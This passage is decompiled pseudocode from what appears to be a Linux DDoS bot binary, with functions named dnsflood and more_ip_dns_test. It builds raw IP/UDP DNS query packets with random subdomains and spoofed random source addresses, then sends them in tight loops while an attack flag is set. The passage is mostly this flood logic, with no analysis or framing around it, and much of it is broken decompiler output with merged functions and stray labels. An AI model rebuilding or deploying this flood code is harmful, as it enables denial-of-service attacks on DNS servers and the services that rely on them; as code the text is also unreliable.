  6682.                             _v24 = _v24 + 1;
  6683.                             continue;
  6684.                         }
  6685.                         goto L23;
  6686.                     }
  6687.                 }
  6688.             }
  6689.         }
  6690.     }
  6691. L23:
  6692.     L08052A50(_v68);
  6693.     _t269 = L08051050();
  6694.     L08051000(_t269);
  6695.      *__esp = 0;
  6696.     L08050FE0();
  6697.     goto L24;
  6698. L24:
  6699.     _push(_t501);
  6700.     __esp = __esp - 16;
  6701.     _v732 = _v708;
  6702.     _v728 = _v712;
  6703.     _v724 = 0;
  6704.     _v734 = 0;
  6705.     while(_v20 > 1) {
  6706.         _v12 = _v12 + ( *_v16 & 65535 & 65535);
  6707.         _v16 = _v16 + 2;
  6708.         _v20 = _v20 - 2;
  6709.     }
  6710. }
  6711.  
  6712. u_short in_cksum(u_int16_t* addr, int len)
  6713. {// addr = 0x0804C17F
  6714.     int nleft;
  6715.     u_int16_t* w;
  6716.     u_int32_t sum;
  6717.     u_int16_t answer;
  6718.     short _v8;
  6719.     short unsigned int* _v12;
  6720.     int _v16;
  6721.     short _v18;
  6722.     _unknown_ r6;
  6723.  
  6724.     _v16 = len;
  6725.     _v12 = addr;
  6726.     _v8 = 0;
  6727.     _v18 = 0;
  6728.     while(_v16 > 1) {
  6729.         _v8 = _v8 + ( *_v12 & 65535 & 65535);
  6730.         _v12 =  &(_v12[1]);
  6731.         _v16 = _v16 - 2;
  6732.     }
  6733. }
  6734.  
  6735. RandNametoFormat(char* szName, char* FormatName)
  6736. {// addr = 0x0804C209
  6737.     char[255] NewName;
  6738.     int len;
  6739.     int i;
  6740.     int nLen;
  6741.     char _v20;
  6742.     char _v24;
  6743.     intOrPtr _v28;
  6744.     char _v284;
  6745.     signed char _v292;
  6746.     intOrPtr _v296;
  6747.     char* _v300;
  6748.     char _v304;
  6749.     intOrPtr _v308;
  6750.     signed int _v312;
  6751.     char* _v328;
  6752.     _unknown_ r1;
  6753.     _unknown_ r4;
  6754.     _unknown_ r5;
  6755.     _unknown_ r6;
  6756.     _unknown_ _t78;
  6757.     signed int _t80;
  6758.     _unknown_ _t82;
  6759.     signed int _t90;
  6760.     _unknown_ _t92;
  6761.     _unknown_ _t102;
  6762.     _unknown_ _t105;
  6763.     _unknown_ _t107;
  6764.     _unknown_ _t109;
  6765.     signed int _t123;
  6766.     signed int _t124;
  6767.     _unknown_ _t128;
  6768.     _unknown_ _t140;
  6769.  
  6770.     _v300 =  &_v284;
  6771.     _v304 = 0;
  6772.     _t80 = 256;
  6773.     if(_t80 >= 4) {
  6774.         _v308 = 64;
  6775.         _t80 = _v304;
  6776.         _push(_v308 << 2);
  6777.         _push(_t80);
  6778.         _push(_v300);
  6779.         memset();
  6780.         __esp = __esp + 12;
  6781.     }
  6782.     L0805EBE0();
  6783.     _t123 = _t80;
  6784.     _v312 = 954437177;
  6785.     _v296 = (_v312 * _t123 >> 32 >> 1) - (_t123 >> 31);
  6786.     _v296 = _t123 - (_v296 << 3) + _v296;
  6787.     _v28 = _v296 + 3;
  6788.     _v24 = 0;
  6789.     while(1) {
  6790.         _t90 = _v24;
  6791.         _t146 = _t90 - _v28;
  6792.         if(_t90 >= _v28) {
  6793.             break;
  6794.         }
  6795.         L0805EBE0();
  6796.         _t124 = _t90;
  6797.         _v312 = 1374389535;
  6798.         _v292 = (_v312 * _t124 >> 32 >> 3) - (_t124 >> 31);
  6799.         _v292 = _t124 - (_v292 << 2) + _v292 + 0 + ((_v292 << 2) + _v292) * 4;
  6800.          *(__ebp + _v24 + -280) = (_v292 & 255) + 97;
  6801.         _v24 = _v24 + 1;
  6802.     }
  6803.     L0806E1B0(__esp,  &_v284, ".");
  6804.     _v328 = szName;
  6805.      *__esp =  &_v284;
  6806.     L0806E1B0(__esp);
  6807.     _v20 = 0;
  6808.     _v328 = ".";
  6809.      *__esp =  &_v284;
  6810.     L0806E1B0(__esp);
  6811.     _v24 = 0;
  6812.     while(1) {
  6813.         _t109 = L0806E770(__esp, _t146,  &_v284);
  6814.         if(_t109 <= _v24) {
  6815.             break;
  6816.         }
  6817.         __eflags = ( *(__ebp + _v24 + -280) & 255) - 46;
  6818.         if(__eflags == 0) {
  6819.             goto L7;
  6820.         }
  6821. L11:
  6822.         _v24 = _v24 + 1;
  6823.         continue;
  6824. L7:
  6825.          *FormatName = _v24 - _v20;
  6826.         FormatName =  &(FormatName[1]);
  6827.         while(1) {
  6828.             __eflags = _v20 - _v24;
  6829.             if(__eflags >= 0) {
  6830.                 break;
  6831.             }
  6832.              *FormatName =  *(__ebp + _v20 + -280) & 255;
  6833.             FormatName =  &(FormatName[1]);
  6834.             _v20 = _v20 + 1;
  6835.         }
  6836.         _v20 = _v20 + 1;
  6837.         goto L11;
  6838.     }
  6839.      *FormatName = 0;
  6840.     FormatName =  &(FormatName[1]);
  6841.     return;
  6842. }
  6843.  
  6844. GetStructureDnsPacket(char* QueryDomain, char* QueryData, int* nQueryData)
  6845. {// addr = 0x0804C3E3
  6846.     DNS_HEADER DNSHeadData;
  6847.     char[127] DomainFormat;
  6848.     QUESTION* qTypeClass;
  6849.     intOrPtr* _v12;
  6850.     short _v14;
  6851.     short _v16;
  6852.     short _v18;
  6853.     short _v20;
  6854.     signed int _v21;
  6855.     signed int _v22;
  6856.     char _v24;
  6857.     char _v152;
  6858.     char* _v156;
  6859.     intOrPtr _v160;
  6860.     intOrPtr _v164;
  6861.     _unknown_ _v180;
  6862.     intOrPtr _v184;
  6863.     _unknown_ r6;
  6864.     _unknown_ _t57;
  6865.     signed short _t58;
  6866.     short _t60;
  6867.     short _t81;
  6868.     _unknown_ _t84;
  6869.     _unknown_ _t86;
  6870.     _unknown_ _t90;
  6871.     _unknown_ _t93;
  6872.     _unknown_ _t95;
  6873.     intOrPtr _t98;
  6874.     short _t100;
  6875.     _unknown_ _t103;
  6876.     intOrPtr _t108;
  6877.     _unknown_ _t109;
  6878.     char* _t114;
  6879.     char* _t115;
  6880.  
  6881.     _v184 = 12;
  6882.     _t58 =  &_v24;
  6883.      *__esp = _t58;
  6884.     L0806F910();
  6885.     L0805EBE0();
  6886.      *__esp = _t58 & 65535;
  6887.     _t60 = L08075240(__esp);
  6888.     _v24 = _t60;
  6889.     _v22 = _v22 & 255 & 127;
  6890.     _v22 = _v22 & 255 & 135;
  6891.     _v22 = _v22 & 255 & 251;
  6892.     _v22 = _v22 & 255 & 253;
  6893.     _v22 = _v22 & 255 | 1;
  6894.     _v21 = _v21 & 255 & 127;
  6895.     _v21 = _v21 & 255 & 191;
  6896.     _v21 = _v21 & 255 & 223;
  6897.     _v21 = _v21 & 255 & 239;
  6898.     _v21 = _v21 & 255 & 240;
  6899.      *__esp = 1;
  6900.     _t81 = L08075240(__esp);
  6901.     _v20 = _t81;
  6902.     _v18 = 0;
  6903.     _v16 = 0;
  6904.     _v14 = 0;
  6905.     L0806F9E0(_t114, __esi, QueryData,  &_v24, 12);
  6906.     _v156 =  &_v152;
  6907.     _v160 = 0;
  6908.     __eflags = 128 - 4;
  6909.     if(__eflags >= 0) {
  6910.         _v164 = 32;
  6911.         _t115 = _v156;
  6912.         _t108 = _v164;
  6913.         _push(_t108 << 2);
  6914.         _push(_v160);
  6915.         _push(_t115);
  6916.         memset();
  6917.         __esp =  &(__esp[3]);
  6918.         _t114 =  &(_t115[_t108]);
  6919.     }
  6920.     RandNametoFormat(QueryDomain,  &_v152);
  6921.      *__esp =  &_v152;
  6922.     _t90 = L0806E770(__esp, __eflags);
  6923.     L0806F9E0(_t114, __esi,  &(QueryData[0xc]),  &_v152, _t90);
  6924.      *__esp =  &_v152;
  6925.     _t95 = L0806E770(__esp, __eflags);
  6926.     _v12 = _t95 + 13 + QueryData;
  6927.      *__esp = 1;
  6928.     _t98 = L08075240(__esp);
  6929.      *_v12 = _t98;
  6930.      *__esp = 1;
  6931.     _t100 = L08075240(__esp);
  6932.      *((short*)(_v12 + 2)) = _t100;
  6933.      *__esp =  &_v152;
  6934.     _t103 = L0806E770(__esp, __eflags);
  6935.      *nQueryData = _t103 + 17;
  6936.     return;
  6937. }
  6938.  
  6939. int dnsflood(_Unknown_base* ThreadData)
  6940. {// addr = 0x0804C594
  6941.     int hSockfd;
  6942.     char[1023] packet;
  6943.     char[19] szNewIP;
  6944.     struct ip iphdr;
  6945.     char[1023] PackData;
  6946.     struct udphdr udphdr;
  6947.     struct sockaddr_in remoteAddr;
  6948.     DNSPACKET DnsObj;
  6949.     int nTime;
  6950.     struct hostent* szhost;
  6951.     socklen_t fromlen;
  6952.     int looptime;
  6953.     int aa;
  6954.     char[511] szName;
  6955.     int nDNSPack;
  6956.     char[511] fotmatDNSPacket;
  6957.     int dgsize;
  6958.     int ShamBase;
  6959.     int dwNewIP;
  6960.     intOrPtr _v0;
  6961.     intOrPtr _v4;
  6962.     signed int _v16;
  6963.     signed int _v20;
  6964.     intOrPtr _v24;
  6965.     int _v28;
  6966.     int _v32;
  6967.     int _v36;
  6968.     intOrPtr _v40;
  6969.     int _v44;
  6970.     intOrPtr _v48;
  6971.     int _v52;
  6972.     intOrPtr _v56;
  6973.     int _v60;
  6974.     _unknown_ _v64;
  6975.     int _v68;
  6976.     char _v1072;
  6977.     char _v1092;
  6978.     int _v1096;
  6979.     int _v1100;
  6980.     short unsigned int _v1102;
  6981.     char _v1103;
  6982.     int _v1104;
  6983.     int _v1106;
  6984.     int _v1108;
  6985.     short _v1110;
  6986.     int _v1111;
  6987.     signed int _v1112;
  6988.     _unknown_ _v1116;
  6989.     _unknown_ _v1120;
  6990.     _unknown_ _v1122;
  6991.     _unknown_ _v1123;
  6992.     _unknown_ _v1124;
  6993.     _unknown_ _v1126;
  6994.     _unknown_ _v1128;
  6995.     _unknown_ _v1130;
  6996.     _unknown_ _v1131;
  6997.     _unknown_ _v1132;
  6998.     char _v2136;
  6999.     int _v2138;
  7000.     int _v2140;
  7001.     signed int _v2142;
  7002.     char _v2144;
  7003.     intOrPtr _v2156;
  7004.     signed short _v2158;
  7005.     int _v2160;
  7006.     _unknown_ _v2162;
  7007.     int _v2164;
  7008.     intOrPtr _v2168;
  7009.     _unknown_ _v2176;
  7010.     _unknown_ _v2178;
  7011.     _unknown_ _v2180;
  7012.     _unknown_ _v2184;
  7013.     _unknown_ _v2188;
  7014.     _unknown_ _v2192;
  7015.     signed int _v2300;
  7016.     int _v2432;
  7017.     char _v2444;
  7018.     int _v2448;
  7019.     char _v2960;
  7020.     char _v3472;
  7021.     signed short _v3488;
  7022.     char* _v3492;
  7023.     int _v3496;
  7024.     intOrPtr _v3500;
  7025.     char* _v3504;
  7026.     int _v3508;
  7027.     intOrPtr _v3512;
  7028.     char* _v3516;
  7029.     int _v3520;
  7030.     intOrPtr _v3524;
  7031.     signed int _v3532;
  7032.     signed int _v3544;
  7033.     signed int _v3548;
  7034.     signed int _v3552;
  7035.     char _v3556;
  7036.     intOrPtr _v3560;
  7037.     int _v3564;
  7038.     int _v3568;
  7039.     char _v3580;
  7040.     _unknown_ _v3584;
  7041.     _unknown_ _v3588;
  7042.     _unknown_ _v3592;
  7043.     _unknown_ _v3596;
  7044.     _unknown_ _v3600;
  7045.     _unknown_ _v4112;
  7046.     _unknown_ _v4624;
  7047.     _unknown_ _v4628;
  7048.     _unknown_ _v4632;
  7049.     intOrPtr _v4636;
  7050.     intOrPtr _v4640;
  7051.     intOrPtr _v4644;
  7052.     _unknown_ _v4656;
  7053.     _unknown_ _v4660;
  7054.     _unknown_ _v4664;
  7055.     _unknown_ _v4668;
  7056.     _unknown_ _v4672;
  7057.     int _v4676;
  7058.     int _v4680;
  7059.     int _v4684;
  7060.     int _v4688;
  7061.     int _v4692;
  7062.     char _v5716;
  7063.     char* _v8196;
  7064.     int _v8200;
  7065.     _unknown_ _v8260;
  7066.     _unknown_ _v8264;
  7067.     _unknown_ _v8268;
  7068.     char _v8272;
  7069.     signed int _v8276;
  7070.     intOrPtr _v8288;
  7071.     char _v8304;
  7072.     int _v8320;
  7073.     _unknown_ r6;
  7074.     _unknown_ _t479;
  7075.     intOrPtr _t483;
  7076.     _unknown_ _t485;
  7077.     _unknown_ _t486;
  7078.     _unknown_ _t487;
  7079.     _unknown_ _t488;
  7080.     _unknown_ _t490;
  7081.     _unknown_ _t494;
  7082.     int _t496;
  7083.     _unknown_ _t498;
  7084.     _unknown_ _t499;
  7085.     _unknown_ _t500;
  7086.     _unknown_ _t501;
  7087.     intOrPtr _t504;
  7088.     _unknown_ _t512;
  7089.     _unknown_ _t517;
  7090.     _unknown_ _t524;
  7091.     _unknown_ _t529;
  7092.     _unknown_ _t532;
  7093.     _unknown_ _t537;
  7094.     _unknown_ _t538;
  7095.     _unknown_ _t540;
  7096.     _unknown_ _t541;
  7097.     _unknown_ _t548;
  7098.     _unknown_ _t551;
  7099.     _unknown_ _t560;
  7100.     _unknown_ _t564;
  7101.     _unknown_ _t568;
  7102.     _unknown_ _t573;
  7103.     _unknown_ _t577;
  7104.     _unknown_ _t582;
  7105.     _unknown_ _t586;
  7106.     _unknown_ _t588;
  7107.     _unknown_ _t602;
  7108.     _unknown_ _t608;
  7109.     _unknown_ _t610;
  7110.     _unknown_ _t619;
  7111.     _unknown_ _t623;
  7112.     _unknown_ _t629;
  7113.     _unknown_ _t641;
  7114.     _unknown_ _t643;
  7115.     signed short _t659;
  7116.     intOrPtr _t661;
  7117.     _unknown_ _t664;
  7118.     int _t675;
  7119.     _unknown_ _t680;
  7120.     short unsigned int _t682;
  7121.     _unknown_ _t685;
  7122.     _unknown_ _t690;
  7123.     _unknown_ _t693;
  7124.     _unknown_ _t702;
  7125.     short _t706;
  7126.     int _t710;
  7127.     _unknown_ _t715;
  7128.     _unknown_ _t719;
  7129.     _unknown_ _t724;
  7130.     signed int _t728;
  7131.     _unknown_ _t730;
  7132.     int _t744;
  7133.     signed int _t747;
  7134.     _unknown_ _t749;
  7135.     int _t758;
  7136.     _unknown_ _t762;
  7137.     _unknown_ _t766;
  7138.     signed short _t771;
  7139.     _unknown_ _t785;
  7140.     _unknown_ _t787;
  7141.     _unknown_ _t789;
  7142.     _unknown_ _t790;
  7143.     _unknown_ _t791;
  7144.     _unknown_ _t792;
  7145.     intOrPtr _t793;
  7146.     _unknown_ _t794;
  7147.     signed int _t798;
  7148.     intOrPtr _t800;
  7149.     _unknown_ _t801;
  7150.     intOrPtr _t802;
  7151.     _unknown_ _t803;
  7152.     intOrPtr _t804;
  7153.     _unknown_ _t805;
  7154.     _unknown_ _t808;
  7155.     _unknown_ _t811;
  7156.     _unknown_ _t817;
  7157.     _unknown_ _t826;
  7158.     _unknown_ _t836;
  7159.     _unknown_ _t846;
  7160.     _unknown_ _t847;
  7161.     intOrPtr _t849;
  7162.     char* _t851;
  7163.     char* _t852;
  7164.     intOrPtr _t853;
  7165.     _unknown_ _t854;
  7166.     signed int* _t855;
  7167.     _unknown_ _t856;
  7168.  
  7169.     _push(_t844);
  7170.     _push(_t771);
  7171.     __esp = __esp - 3552;
  7172.     _v1112 = 0;
  7173.     _v1108 = 0;
  7174.     _v1104 = 0;
  7175.     _v1100 = 0;
  7176.     _v1096 = 0;
  7177.     _v3492 =  &_v2136;
  7178.     _v3496 = 0;
  7179.     if(1024 >= 4) {
  7180.         _v3500 = 256;
  7181.         _t853 = _v3492;
  7182.         _t804 = _v3500;
  7183.         _push(_t804 << 2);
  7184.         _push(_v3496);
  7185.         _push(_t853);
  7186.         memset();
  7187.         __esp =  &(__esp[3]);
  7188.         _t844 = _t853 + _t804;
  7189.     }
  7190.     _v2144 = 0;
  7191.     _v2140 = 0;
  7192.     L0806F910( &_v2444, 284);
  7193.     _t483 = L0806F9E0(_t844, __esi,  &_v2444, ThreadData, 284);
  7194.     _v3556 = 255;
  7195.     L08073680(_t771, __esp, 2, 3);
  7196.     _v48 = _t483;
  7197.     if(_v48 == 255) {
  7198.         goto L24;
  7199.     }
  7200.     _v44 = 0;
  7201.     _v44 = _v2432;
  7202.     if(_v44 <= 0 || _v44 > 86400) {
  7203.         _v44 = 20;
  7204.     }
  7205.     L0806F910( &_v2160, 16);
  7206.     _v2160 = 2;
  7207.      *__esp = _v2300 & 65535;
  7208.     _t659 = L08075240(__esp);
  7209.     _v2158 = _t659;
  7210.     _t661 =  &_v2444 + 16;
  7211.     L08075250(_t661);
  7212.     _v40 = _t661;
  7213.     if(_v40 == 0) {
  7214. L24:
  7215.         L08052A50(_v48);
  7216.         _t486 = L08051050();
  7217.         L08051000(_t486);
  7218.          *__esp = 0;
  7219.         L08050FE0();
  7220.         goto L25;
  7221.     }
  7222.     _t664 = L0806E4D0( &_v2444 + 16, "0.0.0.0");
  7223.     if(_t664 == 0) {
  7224.         goto L24;
  7225.     }
  7226.     _v2156 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v40 + 16))))));
  7227.     _v36 = 16;
  7228.     _v1112 = _v1112 & 255 & 240 | 5;
  7229.     _v1112 = _v1112 & 255 & 15 | 64;
  7230.     _v1111 = 0;
  7231.      *__esp = 1;
  7232.     _t675 = L08075240(__esp);
  7233.     _v1108 = _t675;
  7234.     _v1106 = 0;
  7235.     _v1104 = 64;
  7236.     _v1103 = 17;
  7237.     L0806F9E0(_t844, __esi,  &((char*)( &_v1112)[8]),  &((char*)( &_v2160)[1]), 4);
  7238.     _t682 = in_cksum( &_v1112, 20);
  7239.     _v1102 = _t682;
  7240.     _v32 = 0;
  7241.     while(IsAttack != 0) {
  7242.         _v28 = 0;
  7243.         while(1) {
  7244.             __eflags = _v28 - 999;
  7245.             if(_v28 > 999) {
  7246.                 break;
  7247.             }
  7248.             _v3504 =  &_v2960;
  7249.             _v3508 = 0;
  7250.             __eflags = 512 - 4;
  7251.             if(512 >= 4) {
  7252.                 _v3512 = 128;
  7253.                 _t852 = _v3504;
  7254.                 _t802 = _v3512;
  7255.                 _push(_t802 << 2);
  7256.                 _push(_v3508);
  7257.                 _push(_t852);
  7258.                 memset();
  7259.                 __esp =  &(__esp[3]);
  7260.                 _t844 =  &(_t852[_t802]);
  7261.             }
  7262.             L0806F910( &_v2960, 512);
  7263.             L0806E520( &_v2960,  &_v2444 + 148);
  7264.             L0806F910( &_v2136, 1024);
  7265.             _v2448 = 0;
  7266.             _v3516 =  &_v3472;
  7267.             _v3520 = 0;
  7268.             __eflags = 512 - 4;
  7269.             if(512 >= 4) {
  7270.                 _v3524 = 128;
  7271.                 _t851 = _v3516;
  7272.                 _t800 = _v3524;
  7273.                 _push(_t800 << 2);
  7274.                 _push(_v3520);
  7275.                 _push(_t851);
  7276.                 memset();
  7277.                 __esp =  &(__esp[3]);
  7278.                 _t844 =  &(_t851[_t800]);
  7279.             }
  7280.             RandNametoFormat( &_v2960,  &_v3472);
  7281.             GetStructureDnsPacket( &_v2960,  &_v3472,  &_v2448);
  7282.             L0806F9E0(_t844, __esi,  &_v2136,  &_v3472, _v2448);
  7283.              *__esp = _v2448 + 28 & 65535;
  7284.             _t706 = L08075240(__esp);
  7285.             _v1110 = _t706;
  7286.             _v2138 = 0;
  7287.              *__esp = _v2448 + 8 & 65535;
  7288.             _t710 = L08075240(__esp);
  7289.             _v2140 = _t710;
  7290.             _v2142 = _v2158 & 65535;
  7291.             L0806F910( &_v1072, 1024);
  7292.             L0806F9E0(_t844, __esi,  &_v1072,  &_v1112, 20);
  7293.             L0806F9E0(_t844, __esi,  &_v1072 + 20,  &_v2144, 8);
  7294.             L0806F9E0(_t844, __esi,  &_v1072 + 28,  &_v2136, _v2448);
  7295.             _v24 = _v2448 + 28;
  7296.             _t728 = _v2164 - _v2168;
  7297.             _v20 = _t728;
  7298.             __eflags = _v20;
  7299.             if(_v20 <= 0) {
  7300.                 goto L22;
  7301.             }
  7302.             L0805EBE0();
  7303.             _v16 = _t728 % _v20 + _v2168;
  7304.             L0806F910( &_v1092, 20);
  7305.             _v3544 = _v16 & 255;
  7306.             _v3548 = _v16 >> 8 & 255;
  7307.             _v3552 = _v16 >> 16 & 255;
  7308.             L0805FF50( &_v1092, "%d.%d.%d.%d", _v16 >> 24);
  7309.             _t744 = L08073B40( &_v1092);
  7310.             _v1100 = _t744;
  7311.             _t747 = L0806F9E0(_t844, __esi,  &_v1072,  &_v1112, 20);
  7312.             L0805EBE0();
  7313.             _t798 = _t747;
  7314.             _v3532 = -2147450879;
  7315.             _t771 = ((_v3532 * _t798 >> 32) + _t798 >> 15) - (_t798 >> 31);
  7316.             _v3488 = _t771;
  7317.             _t844 = _t798 - (_v3488 << 16) - _v3488;
  7318.             _v3488 = _t844;
  7319.              *__esp = _v3488 & 65535 & 65535;
  7320.             _t758 = L08075240(__esp);
  7321.             _v2144 = _t758;
  7322.             L0806F9E0(_t844, __esi,  &_v1072 + 20,  &_v2144, 8);
  7323.             _v3544 = _v36;
  7324.             _v3548 =  &_v2160;
  7325.             _v3552 = 0;
  7326.             _v3556 = _v24;
  7327.             L08052C20(__esi, _v48,  &_v1072);
  7328.             _v28 = _v28 + 1;
  7329.             continue;
  7330. L23:
  7331.             goto L24;
  7332.         }
  7333.         _v32 = _v32 + 1;
  7334.         __eflags = _v32 - _v44;
  7335.         if(_v32 > _v44) {
  7336.             goto L23;
  7337.         }
  7338.         L08070250(1);
  7339.     }
  7340.     goto L25;
  7341. L25:
  7342.     _push(_t854);
  7343.     _t855 = __esp;
  7344.     _push(_t844);
  7345.     _push(_t771);
  7346.     __esp = __esp - 4704;
  7347.     _v4692 = 0;
  7348.     _v4688 = 0;
  7349.     _v4684 = 0;
  7350.     _v4680 = 0;
  7351.     _v4676 = 0;
  7352.     _v8196 =  &_v5716;
  7353.     _v8200 = 0;
  7354.     if(1024 >= 4) {
  7355.         _v4644 = 256;
  7356.         _t849 = _v4636;
  7357.         _t793 = _v4644;
  7358.         _push(_t793 << 2);
  7359.         _push(_v4640);
  7360.         _push(_t849);
  7361.         memset();
  7362.         __esp =  &(__esp[3]);
  7363.         _t844 = _t849 + _t793;
  7364.     }
  7365.     _v2164 = 0;
  7366.     _v2160 = 0;
  7367.     _v60 = 0;
  7368.     _v56 = 456;
  7369.     L0806F910( &_v3580, 1400);
  7370.     L0806F9E0(_t844, __esi,  &_v3580, _v0, 1400);
  7371.     _v60 = _v3564;
  7372.     _v52 = 0;
  7373.     _t496 = _v3568;
  7374.     _v52 = _t496;
  7375.     if(_v52 <= 0 || _v52 > 86400) {
  7376.         _v52 = 20;
  7377.     }
  7378.     _v8272 = 255;
  7379.     L08073680(_t771, __esp, 2, 3);
  7380.     _v68 = _t496;
  7381.     if(_v68 == 255) {
  7382.         goto L58;
  7383.     }
  7384.     if(_v3560 != _v3556 || _v3556 == 0) {
  7385. L58:
  7386.         L08052A50(_v68);
  7387.         _t499 = L08051050();
  7388.         L08051000(_t499);
  7389.          *__esp = 0;
  7390.         L08050FE0();
  7391.     }
  7392.     _push(_t855);
  7393.     __esp = __esp - 40;
  7394.     _v8304 = _v8272;
  7395.      *__esp = _v8276;
  7396.     _t504 = L0806E770(__esp, _t871);
  7397.     _v8288 = _t504;
  7398.     if(( *_v8276 & 255) != 0) {
  7399.         while(1) {
  7400.             __eax = _v16;
  7401.             __eax = _v16 - 1;
  7402.             __eax = _v16 - 1 + _v4;
  7403.             __eax =  *(_v16 - 1 + _v4) & 255;
  7404.             __eflags = __al;
  7405.             if(__al == 0) {
  7406.                 break;
  7407.             }
  7408.             __eax = _v16;
  7409.             __eax = _v16 - 1;
  7410.             __eax = _v16 - 1 + _v4;
  7411.             _v8320 = _v32;
  7412.              *__esp = _v16 - 1 + _v4;
  7413.             __eax = L0806E360(__esp);
  7414.             __eflags = __eax;
  7415.             if(__eax == 0) {
  7416.                 _v16 = _v16 - 1;
  7417.                 continue;
  7418.             }
  7419.             __eax = _v16;
  7420.             __eax = _v16 - 1;
  7421.             _v36 = _v4 + _v16 - 1;
  7422.             return _v36;
  7423.         }
  7424.         _v36 = 0;
  7425.         return _v36;
  7426.     }
  7427.     _v36 = 0;
  7428.     return _v36;
  7429. L55:
  7430.     goto L58;
  7431. L22:
  7432.     goto L24;
  7433. }
  7434.  
  7435. int more_ip_dns_test(_Unknown_base* ThreadData)
  7436. {// addr = 0x0804CBCF
  7437.     int hSockfd;
  7438.     char[1023] packet;
  7439.     char[19] szNewIP;
  7440.     struct ip iphdr;
  7441.     char[1023] PackData;
  7442.     struct udphdr udphdr;
  7443.     struct sockaddr_in remoteAddr;
  7444.     int i;
  7445.     int ipflag;
  7446.     int ip_num;
  7447.     MOREDNSPACKET DnsObj;
  7448.     int nTime;
  7449.     socklen_t fromlen;
  7450.     int looptime;
  7451.     int aa;
  7452.     int rand_id;
  7453.     char[511] szName;
  7454.     int nDNSPack;
  7455.     char[511] fotmatDNSPacket;
  7456.     int dgsize;
  7457.     int ShamBase;
  7458.     int dwNewIP;
  7459.     unsigned int[3] ip;
  7460.     int matches;
  7461.     intOrPtr _v0;
  7462.     signed int _v12;
  7463.     _unknown_ _v16;
  7464.     _unknown_ _v20;
  7465.     _unknown_ _v24;
  7466.     char _v28;
  7467.     signed int _v32;
  7468.     _unknown_ _v36;
  7469.     _unknown_ _v40;
  7470.     _unknown_ _v44;
  7471.     signed int _v48;
  7472.     intOrPtr _v52;
  7473.     signed int _v56;
  7474.     _unknown_ _v60;
  7475.     signed int _v64;
  7476.     _unknown_ _v1088;
  7477.     _unknown_ _v1108;
  7478.     signed int _v1112;
  7479.     signed int _v1116;
  7480.     _unknown_ _v1118;
  7481.     _unknown_ _v1119;
  7482.     signed int _v1120;
  7483.     _unknown_ _v1122;
  7484.     signed int _v1124;
  7485.     _unknown_ _v1126;
  7486.     _unknown_ _v1127;
  7487.     signed int _v1128;
  7488.     char _v2152;
  7489.     _unknown_ _v2154;
  7490.     signed int _v2156;
  7491.     _unknown_ _v2158;
  7492.     signed int _v2160;
  7493.     _unknown_ _v2172;
  7494.     _unknown_ _v2174;
  7495.     _unknown_ _v2176;
  7496.     _unknown_ _v2180;
  7497.     _unknown_ _v2184;
  7498.     _unknown_ _v2188;
  7499.     intOrPtr _v3552;
  7500.     intOrPtr _v3556;
  7501.     signed int _v3560;
  7502.     signed int _v3564;
  7503.     char _v3576;
  7504.     _unknown_ _v3580;
  7505.     _unknown_ _v3584;
  7506.     _unknown_ _v3588;
  7507.     _unknown_ _v3592;
  7508.     _unknown_ _v3596;
  7509.     _unknown_ _v4108;
  7510.     _unknown_ _v4620;
  7511.     _unknown_ _v4624;
  7512.     _unknown_ _v4628;
  7513.     char* _v4632;
  7514.     signed int _v4636;
  7515.     intOrPtr _v4640;
  7516.     _unknown_ _v4652;
  7517.     _unknown_ _v4656;
  7518.     _unknown_ _v4660;
  7519.     _unknown_ _v4664;
  7520.     _unknown_ _v4668;
  7521.     _unknown_ _v4672;
  7522.     _unknown_ _v4684;
  7523.     _unknown_ _v4696;
  7524.     _unknown_ _v4700;
  7525.     _unknown_ _v4704;
  7526.     char _v4708;
  7527.     signed int _v4712;
  7528.     intOrPtr _v4724;
  7529.     char _v4740;
  7530.     char _v4756;
  7531.     _unknown_ r6;
  7532.     _unknown_ _t289;
  7533.     _unknown_ _t293;
  7534.     signed int _t295;
  7535.     _unknown_ _t297;
  7536.     _unknown_ _t298;
  7537.     _unknown_ _t299;
  7538.     _unknown_ _t300;
  7539.     intOrPtr _t303;
  7540.     _unknown_ _t311;
  7541.     _unknown_ _t316;
  7542.     _unknown_ _t323;
  7543.     _unknown_ _t328;
  7544.     _unknown_ _t331;
  7545.     _unknown_ _t336;
  7546.     _unknown_ _t337;
  7547.     _unknown_ _t339;
  7548.     _unknown_ _t340;
  7549.     _unknown_ _t347;
  7550.     _unknown_ _t350;
  7551.     _unknown_ _t359;
  7552.     _unknown_ _t363;
  7553.     _unknown_ _t367;
  7554.     _unknown_ _t372;
  7555.     _unknown_ _t376;
  7556.     _unknown_ _t381;
  7557.     _unknown_ _t385;
  7558.     _unknown_ _t387;
  7559.     _unknown_ _t401;
  7560.     _unknown_ _t407;
  7561.     _unknown_ _t409;
  7562.     _unknown_ _t418;
  7563.     _unknown_ _t422;
  7564.     _unknown_ _t428;
  7565.     _unknown_ _t440;
  7566.     _unknown_ _t442;
  7567.     _unknown_ _t454;
  7568.     _unknown_ _t466;
  7569.     _unknown_ _t468;
  7570.     _unknown_ _t470;
  7571.     _unknown_ _t471;
  7572.     _unknown_ _t472;
  7573.     _unknown_ _t473;
  7574.     intOrPtr _t474;
  7575.     _unknown_ _t475;
  7576.     _unknown_ _t478;
  7577.     _unknown_ _t481;
  7578.     _unknown_ _t487;
  7579.     _unknown_ _t496;
  7580.     _unknown_ _t506;
  7581.     _unknown_ _t507;
  7582.     intOrPtr _t509;
  7583.     _unknown_ _t510;
  7584.     _unknown_ _t511;
  7585.  
  7586.     _push(_t504);
  7587.     _push(_t454);
  7588.     __esp = __esp - 4704;
  7589.     _v1128 = 0;
  7590.     _v1124 = 0;
  7591.     _v1120 = 0;
  7592.     _v1116 = 0;
  7593.     _v1112 = 0;
  7594.     _v4632 =  &_v2152;
  7595.     _v4636 = 0;
  7596.     if(1024 >= 4) {
  7597.         _v4640 = 256;
  7598.         _t509 = _v4632;
  7599.         _t474 = _v4640;
  7600.         _push(_t474 << 2);
  7601.         _push(_v4636);
  7602.         _push(_t509);
  7603.         memset();
  7604.         __esp =  &(__esp[3]);
  7605.         _t504 = _t509 + _t474;
  7606.     }
  7607.     _v2160 = 0;
  7608.     _v2156 = 0;
  7609.     _v56 = 0;
  7610.     _v52 = 456;
  7611.     L0806F910( &_v3576, 1400);
  7612.     L0806F9E0(_t504, __esi,  &_v3576, ThreadData, 1400);
  7613.     _v56 = _v3560;
  7614.     _v48 = 0;
  7615.     _t295 = _v3564;
  7616.     _v48 = _t295;
  7617.     if(_v48 <= 0 || _v48 > 86400) {
  7618.         _v48 = 20;
